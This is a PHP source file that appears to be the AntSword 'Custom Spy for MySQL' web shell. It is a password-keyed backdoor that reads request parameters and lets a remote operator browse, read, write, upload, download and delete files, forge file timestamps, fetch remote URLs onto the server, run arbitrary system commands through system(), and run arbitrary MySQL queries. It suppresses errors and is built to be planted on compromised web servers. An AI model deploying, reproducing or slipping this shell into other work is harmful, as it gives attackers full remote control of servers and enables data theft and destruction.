PHP Decode

<?php 
/** 
*              _   ____                       _ 
*   __ _ _ __ | |_/ ___|_      _____  _ __ __| | 
*  / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` | 
* | (_| | | | | |_ ___) \ V  V / (_) | | | (_| | 
*  \__,_|_| |_|\__|____/ \_/\_/ \___/|_|  \__,_| 
*  
*     AntSword PHP Custom Spy for Mysql 
*                     Author:Medici.Yan 
*  
* 
*  
*  1. AntSword >= v1.1-dev 
*  2.  Shell  custom  
*  3.  
*    <H>localhost</H> 
*    <U>root</U> 
*    <P>123456</P> 
* 
*  4.  encoder  AntSword  Shell  encoder  default  encoder  
* 
* ChangeLog: 
*  
*   Date: 2016/04/06 v1.0 
*    1.   terminal  
*    2. mysql  
*    3.  base64  hex  
**/ 
 
$pwd = "ant"; // 
// 3  1 
$encoder = ""; // default 
// $encoder = "base64"; //base64 
// $encoder = "hex"; // hex 
$cs = "UTF-8"; 
 
/** 
*  
**/ 
function EC($s){ 
    global $cs; 
    $sencode = mb_detect_encoding($s, array("ASCII","UTF-8","GB2312","GBK",'BIG5'));  
    $ret = ""; 
    try { 
        $ret = mb_convert_encoding($s, $cs, $sencode); 
    } catch (Exception $e) { 
        try { 
            $ret = iconv($sencode, $cs, $s);     
        } catch (Exception $e) { 
            $ret = $s; 
        } 
    } 
    return $ret; 
} 
/**/ 
function decode($s){ 
    global $encoder; 
    $ret = ""; 
    switch ($encoder) { 
        case 'base64': 
            $ret = base64_decode($s); 
            break; 
        case 'hex': 
            for ($i=0; $i < strlen($s)-1; $i+=2) {  
                $output = substr($s, $i, 2); 
                $decimal = intval($output, 16); 
                $ret .= chr($decimal); 
            } 
            break; 
        default: 
            $ret = $s; 
            break; 
    } 
    return $ret; 
} 
function showDatabases($encode, $conf){ 
    $sql = "show databases"; 
    $columnsep = "	"; 
    $rowsep = ""; 
    return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false); 
} 
function showTables($encode, $conf, $dbname){ 
    $sql = "show tables from ".$dbname; // mysql 
    $columnsep = "	"; 
    $rowsep = ""; 
    return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false); 
} 
 
function showColumns($encode, $conf, $dbname, $table){ 
    $columnsep = "	"; 
    $rowsep = ""; 
    $sql = "select * from ".$dbname.".".$table." limit 0,0"; // mysql 
    return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true); 
} 
 
function query($encode, $conf, $sql){ 
    $columnsep = "	|	"; // general 
    $rowsep = "
"; 
    return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true); 
} 
 
function executeSQL($encode, $conf, $sql, $columnsep, $rowsep, $needcoluname){ 
    $ret = ""; 
    $m=get_magic_quotes_gpc(); 
    if ($m) { 
        $conf = stripslashes($conf); 
    } 
    $conf = (EC($conf)); 
 
    /* 
    <H>localhost</H> 
    <U>root</U> 
    <P>root</P> 
    */ 
    $host=""; 
    $user=""; 
    $password=""; 
    if (preg_match('/<H>(.+?)<\/H>/i', $conf, $data)) { 
        $host = $data[1];     
    } 
    if (preg_match('/<U>(.+?)<\/U>/i', $conf, $data)) { 
        $user = $data[1];     
    } 
    if (preg_match('/<P>(.+?)<\/P>/i', $conf, $data)) { 
        $password = $data[1];     
    } 
    $encode = decode(EC($encode)); 
    $conn = @mysqli_connect($host, $user, $password); 
    $res = @mysqli_query($conn, $sql); 
    $i=0; 
    if ($needcoluname) { 
        while ($col=@mysqli_fetch_field($res)) { 
            $ret .= $col->name.$columnsep; 
            $i++; 
        } 
        $ret .= $rowsep; 
    } 
    while($rs=@mysqli_fetch_row($res)){ 
        for($c = 0; $c <= $i; $c++){ 
            $ret .= trim($rs[$c]).$columnsep; 
        } 
        $ret.=$rowsep; 
    } 
    return $ret; 
} 
 
function BaseInfo(){ 
    $D=dirname($_SERVER["SCRIPT_FILENAME"]); 
    if($D==""){ 
        $D=dirname($_SERVER["PATH_TRANSLATED"]); 
    } 
    $R="{$D}	"; 
    if(substr($D,0,1)!="/"){ 
        foreach(range("A","Z")as $L) 
            if(is_dir("{$L}:")) 
                $R.="{$L}:"; 
    }else{ 
        $R.="/"; 
    } 
    $R.="	"; 
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; 
    $s=($u)?$u["name"]:@get_current_user(); 
    $R.=php_uname(); 
    $R.="	{$s}"; 
    return $R; 
} 
function FileTreeCode($D){ 
    $ret = ""; 
    $F=@opendir($D); 
    if($F==NULL){ 
        $ret = "ERROR:// Path Not Found Or No Permission!"; 
    }else{ 
        $M=NULL; 
        $L=NULL; 
        while($N=@readdir($F)){ 
            $P=$D."/".$N; 
            $T=@date("Y-m-d H:i:s",@filemtime($P)); 
            @$E=substr(base_convert(@fileperms($P),10,8),-4); 
            $R="	".$T."	".@filesize($P)."	".$E."
"; 
            if(@is_dir($P)) 
                $M.=$N."/".$R; 
            else 
                $L.=$N.$R; 
        } 
        $ret .= $M.$L; 
        @closedir($F); 
    } 
    return $ret; 
} 
 
function ReadFileCode($F){ 
    $ret = ""; 
    try { 
        $P = @fopen($F,"r"); 
        $ret = (@fread($P,filesize($F))); 
        @fclose($P); 
    } catch (Exception $e) { 
        $ret = "ERROR://".$e; 
    } 
    return $ret; 
} 
function WriteFileCode($path, $content){ 
    return @fwrite(fopen(($path),"w"),($content))?"1":"0"; 
} 
function DeleteFileOrDirCode($fileOrDirPath){ 
    function df($p){ 
        $m=@dir($p); 
        while(@$f=$m->read()){ 
            $pf=$p."/".$f; 
            if((is_dir($pf))&&($f!=".")&&($f!="..")){ 
                @chmod($pf,0777); 
                df($pf); 
            } 
            if(is_file($pf)){ 
                @chmod($pf,0777); 
                @unlink($pf); 
            } 
        } 
        $m->close(); 
        @chmod($p,0777); 
        return @rmdir($p); 
    } 
    $F=(get_magic_quotes_gpc()?stripslashes($fileOrDirPath):$fileOrDirPath); 
    if(is_dir($F)){ 
        return (df($F)); 
    } 
    else{ 
        return (file_exists($F)?@unlink($F)?"1":"0":"0"); 
    } 
} 
 
function DownloadFileCode($filePath){ 
    $F=(get_magic_quotes_gpc()?stripslashes($filePath):$filePath); 
    $fp=@fopen($F,"r"); 
    if(@fgetc($fp)){ 
        @fclose($fp); 
        @readfile($F); 
    }else{ 
        echo("ERROR:// Can Not Read"); 
    } 
} 
function UploadFileCode($path, $content){ 
    $f=$path; 
    $c=$content; 
    $c=str_replace("
","",$c); 
    $c=str_replace("
","",$c); 
    $buf=""; 
    for($i=0;$i<strlen($c);$i+=2) 
        $buf.=urldecode("%".substr($c,$i,2)); 
    return (@fwrite(fopen($f,"a"),$buf)?"1":"0"); 
} 
function CopyFileOrDirCode($path, $content){ 
    $m=get_magic_quotes_gpc(); 
    $fc=($m?stripslashes($path):$path); 
    $fp=($m?stripslashes($content):$content); 
    function xcopy($src,$dest){ 
        if(is_file($src)){ 
            if(!copy($src,$dest)) 
                return false; 
            else 
                return true; 
        } 
        $m=@dir($src); 
        if(!is_dir($dest)) 
            if(!@mkdir($dest)) 
                return false; 
        while($f=$m->read()){ 
            $isrc=$src.chr(47).$f; 
            $idest=$dest.chr(47).$f; 
            if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){ 
                if(!xcopy($isrc,$idest))return false; 
            }else if(is_file($isrc)){ 
                if(!copy($isrc,$idest)) 
                    return false; 
            } 
        } 
        return true; 
    } 
    return (xcopy($fc,$fp)?"1":"0"); 
} 
 
function RenameFileOrDirCode($oldName, $newName){ 
    $m=get_magic_quotes_gpc(); 
    $src=(m?stripslashes($oldName):$oldName); 
    $dst=(m?stripslashes($newName):$newName); 
    return (rename($src,$dst)?"1":"0"); 
} 
function CreateDirCode($name){ 
    $m=get_magic_quotes_gpc(); 
    $f=($m?stripslashes($name):$name); 
    return (mkdir($f)?"1":"0"); 
} 
function ModifyFileOrDirTimeCode($fileOrDirPath, $newTime){ 
    $m=get_magic_quotes_gpc(); 
    $FN=(m?stripslashes($fileOrDirPath):$fileOrDirPath); 
    $TM=strtotime((m?stripslashes($newTime):$newTime)); 
    if(file_exists($FN)){ 
        return (@touch($FN,$TM,$TM)?"1":"0"); 
    }else{ 
        return ("0"); 
    } 
} 
 
function WgetCode($urlPath, $savePath){ 
    $fR=$urlPath; 
    $fL=$savePath; 
    $F=@fopen($fR,chr(114)); 
    $L=@fopen($fL,chr(119)); 
    if($F && $L){ 
        while(!feof($F)) 
            @fwrite($L,@fgetc($F)); 
        @fclose($F); 
        @fclose($L); 
        return "1"; 
    }else{ 
        return "0"; 
    } 
} 
 
function ExecuteCommandCode($cmdPath, $command){ 
    $p=$cmdPath; 
    $s=$command; 
    $d=dirname($_SERVER["SCRIPT_FILENAME"]); 
    $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\""; 
    $r="{$p} {$c}"; 
    @system($r." 2>&1",$ret); 
    return ($ret!=0)?"ret={$ret}":""; 
} 
 
@ini_set("display_errors", "0"); 
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
 
$funccode = EC($_REQUEST[$pwd]); 
$z0 = decode(EC($_REQUEST['z0'])); 
$z1 = decode(EC($_REQUEST['z1'])); 
$z2 = decode(EC($_REQUEST['z2'])); 
$z3 = decode(EC($_REQUEST['z3'])); 
 
// echo "<meta HTTP-EQUIV=\"csontent-type\" content=\"text/html; charset={$cs}\">"; 
echo "->|"; 
$ret = ""; 
try { 
    switch ($funccode) { 
        case 'A': 
            $ret = BaseInfo(); 
            break; 
        case 'B': 
            $ret = FileTreeCode($z1); 
            break; 
        case 'C': 
            $ret = ReadFileCode($z1); 
            break; 
        case 'D': 
            $ret = WriteFileCode($z1, $z2); 
            break; 
        case 'E': 
            $ret = DeleteFileOrDirCode($z1); 
            break; 
        case 'F': 
            DownloadFileCode($z1); 
            break; 
        case 'U': 
            $ret = UploadFileCode($z1, $z2); 
            break; 
        case 'H': 
            $ret = CopyFileOrDirCode($z1, $z2); 
            break; 
        case 'I': 
            $ret = RenameFileOrDirCode($z1, $z2); 
            break; 
        case 'J': 
            $ret = CreateDirCode($z1); 
            break; 
        case 'K': 
            $ret = ModifyFileOrDirTimeCode($z1, $z2); 
            break; 
        case 'L': 
            $ret = WgetCode($z1, $z2); 
            break; 
        case 'M': 
            $ret = ExecuteCommandCode($z1, $z2); 
            break; 
        case 'N': 
            $ret = showDatabases($z0, $z1); 
            break; 
        case 'O': 
            $ret = showTables($z0, $z1, $z2); 
            break; 
        case 'P': 
            $ret = showColumns($z0, $z1, $z2, $z3); 
            break; 
        case 'Q': 
            $ret = query($z0, $z1, $z2); 
            break; 
        default: 
            // $ret = "Wrong Password"; 
            break; 
    } 
} catch (Exception $e) { 
    $ret = "ERROR://".$e; 
} 
echo $ret; 
echo "|<-"; 
?>